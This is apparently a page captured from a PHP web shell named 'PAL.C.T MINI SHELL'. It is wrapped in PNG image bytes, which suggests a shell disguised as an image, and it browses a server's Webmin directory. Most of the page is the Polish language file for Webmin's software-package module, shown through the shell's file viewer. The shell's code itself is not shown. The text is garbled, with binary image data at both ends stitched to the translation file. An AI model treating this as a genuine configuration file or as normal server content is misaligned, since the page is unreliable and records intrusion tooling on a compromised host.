php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/pl

index_title=Pakiety oprogramowania
index_installed=Zainstalowane pakiety
index_close=Zamknij wszystkie
index_open=Otwórz wszystkie
index_search=Szukaj pakietu:
index_install=Zainstaluj nowy pakiet
index_installmsg=Podaj lokalizację z jakiej będzie instalowany nowy pakiet $1..
index_local=Z pliku lokalnego
index_uploaded=Z pliku przesłanego
index_ftp=Z serwera ftp lub http, URL
index_installok=Zainstaluj
index_ident=Zidentyfikuj plik
index_identmsg=Podaj polecenie lub ścieżkę do pliku, aby go poszukać w bazie $1.
index_identok=Szukaj:
index_all=Wszystkie pakiety
index_return=listy pakietów
index_treturn=drzewa pakietów
index_tree=Drzewo pakietów
index_epackagecmd=Pakiet $1 wymaga polecenia $2
index_eupdatecmd=System aktualizacji $1 wymaga polecenia $2
index_epackagecheck=Wybrany system zarządzania pakietami jest nieprawidłowy: $1.<br>Musisz wybrać inny system na stronie <a href='$2'>konfiguracji modułu</a>
index_eupdatecheck=Wybrany system aktualizacji jest nieprawidłowy : $1.<br>Musisz wybrać inną metodę aktualizacji w <a href='$2'>konfiguracji modułu</a>
index_echeckpackage=Nie wykryto systemu pakietów!
index_echeckupdate=Nie wykryto aktualizacji systemu!

search_title=Szukanie pakietu
search_nomatch=Nie znaleziono pakietu dla $1
search_none=Brak
search_desc=Opis
search_class=Klasa
search_pack=Pakiet
search_match=Pakiety dla $1
search_return=wyników poszukiwania
search_esearch=Nic nie wpisałeś do wyszukiwania!
search_delete=Odinstaluj wybrane pakiety
search_selall=Zaznacz wszystko
search_invert=Odwróć zaznaczenie

edit_title=Zmień pakiet
edit_details=Informacje o pakiecie
edit_desc=Opis
edit_pack=Pakiet
edit_class=Klasa
edit_none=Brak
edit_ver=Wersja
edit_vend=Dystrybutor
edit_arch=Architektura
edit_inst=Zainstalowany
edit_list=Lista plików
edit_uninst=Odinstaluj
edit_return=informacji o pakiecie
edit_egone=Pakiet nie jest już zainstalowany

list_title=Pliki pakietu
list_files=Pliki w pakiecie $1
list_path=Ścieżka
list_owner=Właściciel
list_group=Grupa
list_type=Rodzaj
list_size=Rozmiar
list_status=Stan
list_ok=OK
list_view=(Obejrzyj)
list_eview=Nie udało się otworzyć : $2

delete_err=Nie udało się usunąć pakietu $1
delete_epack=Pakiet $1 nie istnieje
delete_title=Usuń pakiet
delete_rusure=Czy na pewno chcesz usunąć pakiet $1? $2 plików ($3) zostanie nieodwracalnie skasowanych.
delete_rusure2=Czy na pewno chcesz odinstalować pakiet $1?
delete_ok=Usuń
delete_nodeps=Ignorować zależności?
delete_noscripts=Pominąć odinstalowanie skryptów?
delete_efile=Nieprawidłowy plik tymczasowy do usunięcia
delete_purge=Wyczyścić pliki konfiguracyjne?
delete_depstoo=Usunąć także nieużywane zależności?

file_title=Informacje o pliku
file_notfound=Brak dostępnych informacji o pliku $1
file_path=Ścieżka
file_type=Rodzaj
file_perms=Uprawnienia
file_owner=Właściciel
file_group=Grupa
file_size=Rozmiar
file_link=Dowiązanie do
file_pack=Pakiet
file_class=Klasa
file_desc=Opis
file_none=Brak

install_err=Nie udało się zainstalować pakietu
install_elocal=Nie podano pliku lokalnego
install_elocal2='$1' nie istnieje
install_eupload=Twoja przeglądarka nie obsługuje przesyłania plików
install_eurl=Niezrozumiały URL '$1'
install_eupdate=Nie wpisano pakietu do zainstalowania
install_edir=Niewłaściwy katalog $1
install_ezip=Niewłaściwy spakowany plik $1
install_efile=Niewłaściwy plik $1
install_title=Zainstaluj pakiet
install_header=Zainstaluj pakiet
install_packs=Pakiet(-y) do zainstalowania
install_ok=Instaluj

do_err=Nie udało się zainstalować pakietu $1
do_title=Instalalacja pakietu
do_efailed=Instalacja się nie powiodła : $1
do_efailedmsg1=Możesz spróbować zainstalować ponownie wracając do poprzedniej strony i wybierając inne opcje instalacyjne.
do_efailedmsg2=W przeciwnym przypadku <a href='$1'>naciśnij tutaj, aby usunąć pliki tymczasowe pakietu</a> dla zaoszczędzenia miejsca na dysku.
do_success=Pakiet $1 został pomyślnie zainstalowany
do_details=Informacje o pakiecie
do_desc=Opis
do_class=Klasa
do_pack=Pakiet
do_ver=Wersja
do_vend=Dystrybutor
do_arch=Architektura
do_inst=Zainstalowany
do_none=Brak
do_files=Pliki w pakiecie

pkgadd_root=Katalog główny
pkgadd_eroot=Katalog główny '$1' nie istnieje
pkgadd_unknown=Nieznany
pkgadd_manager=zarządcy pakietów Systemu V

rpm_upgrade=Aktualizować pakiet?
rpm_replacepkgs=Nadpisać pakiet?
rpm_nodeps=Ignorować zależności?
rpm_oldpackage=Zastąpić nowszą wersję przez starszą?
rpm_noscripts=Uruchomić skrypty instalacyjne?
rpm_excludedocs=Instalować dokumentację?
rpm_replacefiles=Nadpisywać pliki?
rpm_notriggers=Uruchomić wyzwalane skrypty?
rpm_ignoresize=Sprawdzać rozmiar systemu plików?
rpm_root=Katalog główny
rpm_eroot=Katalog główny '$1' nie istnieje
rpm_search=Wyszukiwanie w rpmfind.net:
rpm_none=Nie znaleziono pakietów pasujących do twojego wyszukiwania.
rpm_find=Szukanie w rpmfind.net ..
rpm_findrpm=Nazwa pliku pakietu
rpm_finddistro=Dystrybucja
rpm_finddesc=Opis

bsd_unknown=Nieznany
bsd_scripts=Uruchomić skrypty przed- i poinstalacyjne?
bsd_force=Wymusić instalację przy braku wymaganych?
bsd_manager=zarządcy pakietów $1

slack_unclass=Inny
slack_unknown=Nieznany
slack_missing=Brak
slack_root=Katalog główny
slack_eroot=Brak lub niewłaściwy katalog główny
slack_manager=zarządcy pakietów Slackware
slack_edir=Brakujący katalog pakietów Slackware $1

debian_unknown=Nieznany
debian_depends=Ignorować problemy z zależnościami?
debian_conflicts=Ignorować konflikty pakietów?
debian_overwrite=Nadpisywać pliki z innych pakietów?
debian_downgrade=Zastąpić nowszy pakiet przez starszy?
debian_manager=DPKG Debiana

log_install_package=Zainstalowano pakiet $1
log_install_apt_l=Zainstalowano pakiet(-y) $1 z APT
log_install_apt=Zainstalowano $2 pakiet(-ów) z APT
log_install_yum_l=Zainstalowano pakiet(y) $2 z YUM
log_install_yum=Zainstalowano $2 pakiet(y) z YUM
log_install_rhn_l=Zainstalowano pakiet(y) $2 z Redhat Network
log_install_rhn=Zainstalowano $2 pakiet(y) z Redhat Network
log_check_apt_l=Zaktualizowano pakiet(-y) $1 z APT
log_check_apt=Zaktualizowano $2 pakiet(-ów) z APT
log_delete=Odinstalowano pakiet $1
log_deletes_l=Odinstalowano pakiety $1
log_deletes=Odinstalowano $1 pakietów
log_urpmi_update=Dostępne aktualizacje pakietów URPMI
log_urpmi_upgrade=Aktualizacja zainstalowanych pakietów URPMI
log_upgrade_yum_l=Zaktualizowano pakiet(y) $2 z YUM
log_upgrade_yum=Zaktualizowano $2 pakiet(y) z YUM
log_check_rhn_l=Zaktualizowano pakiet(y) $2 z Redhat Network
log_check_rhn=Zaktualizowano $2 pakiet(y) z Redhat Network

rhn_input=Pakiet z Sieci Redhat (RHN)
rhn_find=Szukaj RHN ..
rhn_install=Instalacja pakietu(-ów) za pomocą polecenia $1 ..
rhn_ok=.. zakończona.
rhn_failed=.. instalacja się nie powiodła!
rhn_title=Wybierz pakiet RHN
rhn_pack=Pakiet
rhn_version=Wersja
rhn_form=Opcje Sieci Redhat
rhn_header=Opcje automatycznych aktualizacji pakietów
rhn_auto=Automatycznie sprawdzać czy są aktualizacje?
rhn_interval=Okres pomiędzy sprawdzeniami
rhn_secs=sekund
rhn_apply=Zachowaj i zastosuj
rhn_now=Zachowaj i sprawdź teraz
rhn_err=Nie udało się zachować opcji RHN
rhn_einterval=Nie podany lub niepoprawny okres
rhn_einterval2=Okres pomiędzy sprawdzeniami musi wynisić co najmniej 120 sekund
rhn_check=Sprawdzanie aktualizacji
rhn_checkdesc=Sprawdzanie czy są aktualizacje pakietów w Sieci Redhat za pomocą polecenia $1 ..
rhn_nocheck=.. nie zaktualizowano żadnego pakietu.
rhn_proxy=URL serwera proxy dla pobierania
rhn_none=Wyłączone
rhn_eproxy=Nie podany lub niepoprawny serwer proxy
rhn_skip=Pomiń pakiety wg wzorca
rhn_nonefound=Brak dostępnych aktualizacji pakietów.
rhn_name=Sieć Redhat

apt_input=Pakiet z APT
apt_install=Instalacja pakietu(-ów) za pomocą polecania $1 ..
apt_ok=.. zakończona.
apt_failed=.. instalacja się nie powiodła!
apt_form=Aktualizuj wszystkie pakiety
apt_header=Opcje aktualizacji pakietów APT
apt_update=Resynchronizuj listę pakietów (<tt>update</tt>)
apt_mode=Tryb aktualizacji
apt_mode2=Aktualizacja dystrybucji (<tt>upgrade-dist</tt>)
apt_mode1=Normalna aktualizacja
apt_mode0=Nie aktualizuj
apt_sim=Pokazuj tylko, które pakiety byłyby aktualizowane
apt_apply=Aktualizuj
apt_upgrade=Aktualizacja wszystkich pakiety
apt_updatedesc=Resynchronizacja listy pakietów za pomocą polecenia $1 ..
apt_updatefailed=.. resynchronizacja się nie powiodła!
apt_updateok=.. zakończona.
apt_upgradedesc=Aktualizacja wszystkich pakietów za pomocą polecenia $1 ..
apt_upgradedescsim=Symulacja aktualizacji wszystkich pakietów za pomocą polecenia $1 ..
apt_upgradefailed=.. aktualizacja się nie powiodłą!
apt_upgradeok=.. zakończona.
apt_search=Znajdź pakiety wg wzorca :
apt_find=Szukanie APT ..
apt_title=Szukanie APT
apt_name=APT

yum_input=Pakiet z YUM
yum_install=Instalacja pakietów poleceniem $1 ..
yum_ok=.. instalacja zakończona.
yum_failed=.. instalacja nie powiodła się!
yum_find=Przeglądaj YUM ..
yum_package=Pakiet
yum_version=Wersja
yum_arch=Architektura
yum_source=Źródło
yum_form=Aktualizuj wszystkie pakiety
yum_apply=Aktualizuj wszystkie pakiety z YUM
yum_upgrade=Aktualizuj wszystkie pakiety
yum_upgradedesc=Aktualizacja wszystkich pakietów poleceniem $1 ..
yum_upgradefailed=.. aktualizacja nie powiodła się!
yum_upgradeok=.. aktualizacja zakończona.
yum_title=Przeglądaj YUM
yum_name=YUM
yum_enable=Włączone repozytorium
yum_none=&lt;Brak&gt;

urpmi_name=URPMI
urpmi_input=Pakiety z URPMI
urpmi_find=Przeglądanie URPMI ..
urpmi_form=Aktualizuj wszystkie pakiety
urpmi_update=Aktualizacja dostępnych pakietów UPRMI
urpmi_upgrade=Aktualizuj zainstalowane pakiety URPMI do najnowszej wersji
urpmi_title_update=Aktualizacja dostępnych pakietów
urpmi_title_upgrade=Aktualizacja zainstalowanych pakietów
urpmi_updatedesc=Uruchomienie polecenia $1 ..
uprmi_upgradefailed=.. błąd!
urpmi_upgradeok=.. gotowe.
urpmi_install=Instalacja pakietów poleceniem $1 ..
urpmi_ok=.. instalacja zakończona.
urpmi_failed=.. instalacja nie powiodła się!

rpm_missing=Brak
rpm_checkfail=Niezgodność $1
rpm_md5=sumy kontrolnej MD5
rpm_fsize=rozmiaru pliku
rpm_sym=dowiązania symbolicznego
rpm_mtime=czasu modyfikacji
rpm_dev=pliku urządzenia
rpm_user=użytkownika
rpm_perm=uprawnień
rpm_group=grupy
rpm_erpm=Nie znaleziono RPM-a $1 : $2

soft_reg=Zwykły plik
soft_dir=Katalog
soft_spec=Plik specjalny
soft_sym=Dowiązanie symboliczne
soft_hard=Dowiązanie twarde
soft_edit=Plik konfiguracyjny
soft_efunc=Nie udało sie załadować funkcji obsługujących system pakietów $1.
soft_euncompress=Plik jest spakowany, a nie znaleziono w systemie polecenia <tt>uncompress</tt>.
soft_euncmsg=Nie udało się rozpakować : $1
soft_egzip=Plik jest spakowany gzipem, a nie znaleziono w systemie polecenia <tt>gzip</tt>.
soft_egzmsg=Nie udało się rozpakować pliku spakowanego gzipem : $1

aix_unknown=Nieznane
aix_device=WEJŚCIOWE urządzenie  / katalog oprogramowania
aix_software=OPROGRAMOWANIE do zainstalowania
aix_preview=tylko PODGLĄD? (instalacja nie zostanie wykonana)
aix_commit=WYKONYWANIE aktualizacji oprogramowania?
aix_save=ZAPISAĆ zastąpione pliki?
aix_auto=AUTOMATYCZNIE zainstalować wymagane oprogramowanie?
aix_extend=ROZSZERZYĆ system plików, jeżeli potrzebne jest miejsce?
aix_overwrite=NADPISAĆ tą samą lub nowszą wersją?
aix_verify=WERYFIKOWAĆ  instalację i sprawdzać rozmiar plików?
aix_include=Dołączyć odpowiadający JĘZYKOWI zestaw plików?
aix_detail=SZCZEGÓŁY (wyjścia-output)?
aix_process=Przetwarzać wiele wolumenów?
aix_accept=AKCEPTOWAĆ nowe postanowienia licencji?
aix_license=Podgląd nowych postanowień LICENCJI?
aix_clean=Wyczyścić niepowodzenia instalacji?
aix_manager=Menadżer pakietów AIX

emerge_input=Z repozytorium Portage
emerge_find=Szukanie ..
emerge_install=Instalacja pakietów poleceniem $1 ..
emerge_failed=.. instalacja nie powiodła się!
emerge_ok=.. instalacja zakończona.
emerge_search=Szukaj pakietu:
emerge_pack=Pakiet
emerge_class=Klasa
emerge_version=Wersja
emerge_desc=Opis
emerge_none=Nie znaleziono pasujących pakietów.
emerge_noreplace=Zastąpić istniejące pakiety?
emerge_onlydeps=Instalować tylko zależności?
emerge_title=Wyszukiwanie pakietu
emerge_name=Portage

cygwin_fmissing=Brak pliku
cygwin_lmissing=Brak pliku do którego istnieje dowiązanie
cygwin_estat=Błąd stat-file: $1
cygwin_elread=Błąd odczytu linku symbolicznego (symlink): $1
cygwin_elstat=Błąd stat-symlink : $1
cygwin_badpostscript=Ostrzeżenie: ten skrypt nie wygląda, żeby był działający
cygwin_pkgexists=Pakiet $1 już istnieje
cygwin_warnuse=UWAGA: to nie jest oficjalny interfejs zarządzania oprogramowaniem Cygwin. Używasz na własne ryzyko.
cygwin_edb=Brakująca baza pakietów Cygwin $1

deletes_err=Błąd usuwania pakietów
deletes_enone=Nie wybrano pakietów
deletes_title=Usuwanie pakietów
deletes_desc=Odinstalowywanie pakietów $1 ..
deletes_failed1=Odinstalowanie  $1 nie powiodło się : $2
deletes_success1=Odinstalowano $1.
deletes_failed2=Odinstalowanie nie powiodło się : $1
deletes_success2=.. pomyślnie odinstalowano.
deletes_rusure=Czy na pewno chcesz odinstalować pakiety $1 ?
deletes_ok=Usuń wszystko

csw_input=Pakiet z CSW
csw_install=Instalacja pakietów poleceniem $1 ..
csw_ok=.. instalacja zakończona.
csw_failed=.. instalacja nie powiodła się!
csw_already=.. już zainstalowane.
csw_retry=.. ponowna próba z nowymi zależnościami
csw_find=Przeglądanie CSW
csw_package=Pakiet
csw_version=Wersja
csw_title=Przeglądanie CSW
csw_name=CSW
csw_form=Aktualizacja pakietów
csw_upgrade=Aktualizuj wszystkie zainstalowane pakiety
csw_updatedesc=Aktualizacja wszystkich pakietów poleceniem $1 ..

find_title=Szukanie pakietu
find_search=Znajdź pakiety pasujące do:
find_name=Nazwa
find_version=Wersja
find_desc=Opis
find_none=Nie znaleziono pakietów pasujących do twojego wyszukiwania.

msi_users=Nowa aplikacja dostępna dla
msi_users0=Nikogo
msi_users1=Aktualny użytkownik
msi_users2=Wszyscy użytkownicy
msi_missing=Nie istnieje
msi_size=Błędny rozmiar

hpux_create_target_path=Tworzyć ścieżkę docelową?
hpux_mount_all_filesystems=Montować wszystkie systemy plików?
hpux_reinstall=Ponownie zainstalować?
hpux_reinstall_files=Ponownie zainstalować pliki?
hpux_reinstall_files_use_cksum=Ponownie zainstalować pliki używając sumy kontrolnej?
hpux_allow_multiple_versions=Pozwolić na wiele wersji?
hpux_defer_configure=Odroczyć konfigurację?
hpux_autorecover_product=Auto odzyskiwanie produktu?
hpux_allow_downdate=Zezwalać na downdate?
hpux_allow_incompatible=Pozwolić na nie kompatybilne?
hpux_autoselect_dependencies=Auto wybieranie zależności?
hpux_enforce_dependencies=Egzekwować zależności?
hpux_enforce_scripts=Egzekwować skrypty?
hpux_enforce_dsa=Egzekwować analizę miejsca na dysku?
hpux_root=Główny katalog

ports_install=Instalowanie portów FreeBSD $1 ..
ports_failed=.. niepowodzenie niektórych portów
ports_ok=.. instalacja zakończona
ports_input=Pakiet z portów
ports_find=Szukaj portów
ports_name=Porty FreeBSD
ports_form=Aktualizacja bazy danych portów
ports_apply=Pobierz najnowszy Snapshot
ports_upgrade=Pobieranie portów Snapshot
ports_running=Uruchamianie polecenia $1 ..

pkg_install=Instalacja pakietów FreeBSD $1 ..
pkg_failed=.. niepowodzenie niektórych pakietów
pkg_ok=.. instalacja zakończona
pkg_find=Szukaj pkgng
pkg_input=Pakiety z pkgng

pkgsrc_install=Instalacja pakietów pkgsrc $1 ..
pkgsrc_failed=.. niepowodzenie niektórych pakietów
pkgsrc_ok=.. instalacja zakończona
pkgsrc_find=Szukaj pkgsrc
pkgsrc_input=Pakiety z pkgsrc
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`